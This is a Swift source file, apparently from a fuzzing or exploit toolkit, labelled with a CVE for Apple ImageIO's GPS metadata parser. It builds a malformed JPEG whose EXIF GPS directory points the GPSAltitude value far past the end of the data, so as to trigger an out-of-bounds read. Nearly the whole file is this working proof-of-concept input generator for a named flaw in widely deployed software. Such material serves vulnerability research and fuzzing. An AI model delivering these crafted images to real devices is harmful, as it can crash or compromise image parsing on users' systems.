// iio.jpeg.gps · ImageIO · GPSCopy::processData · CVE-2026-112629
// GPS IFD value offset out of bounds
import Foundation

// ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B {
    static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
    static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
    static func be32(_ v: UInt32) -> [UInt8] {
        [UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
    }
    static func le32(_ v: UInt32) -> [UInt8] {
        [UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
    }
    static func be64(_ v: UInt64) -> [UInt8] {
        (0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
    }
    static func le64(_ v: UInt64) -> [UInt8] {
        (0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
    }
    static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
    static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
    static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
}

// ── seed construction (from Cinder27 Sources: JPEGPayload) ──
enum JPEGPayload {
static func exifGPSOutOfBounds(delta: Int = 0x10000) -> Data {
        var tiff = Data()
        tiff.append(contentsOf: [0x4D, 0x4D, 0x00, 0x2A])
        tiff.append(contentsOf: B.be32(8))
        tiff.append(contentsOf: B.be16(1))
        tiff.append(contentsOf: B.be16(0x8825))                     // GPSInfoIFDPointer
        tiff.append(contentsOf: B.be16(4))                          // LONG
        tiff.append(contentsOf: B.be32(1))
        tiff.append(contentsOf: B.be32(26))                         // GPS IFD at 26
        tiff.append(contentsOf: B.be32(0))
        // GPS IFD
        tiff.append(contentsOf: B.be16(2))
        tiff.append(contentsOf: B.be16(0x0000))                     // GPSVersionID
        tiff.append(contentsOf: B.be16(1))
        tiff.append(contentsOf: B.be32(4))
        tiff.append(contentsOf: [2, 3, 0, 0])
        tiff.append(contentsOf: B.be16(0x0006))                     // GPSAltitude
        tiff.append(contentsOf: B.be16(5))                          // RATIONAL
        tiff.append(contentsOf: B.be32(1))
        tiff.append(contentsOf: B.be32(UInt32(26 + 18 + delta)))    // far past the blob
        tiff.append(contentsOf: B.be32(0))

        var out = minimalSOI()
        let payload = B.ascii("Exif\u{0}\u{0}") + [UInt8](tiff)
        let len = payload.count + 2
        out += [0xFF, 0xE1, UInt8((len >> 8) & 0xff), UInt8(len & 0xff)]
        out += payload
        out += [0xFF, 0xD9]
        return Data(out)
    }

static func minimalSOI() -> [UInt8] { [0xFF, 0xD8] }

}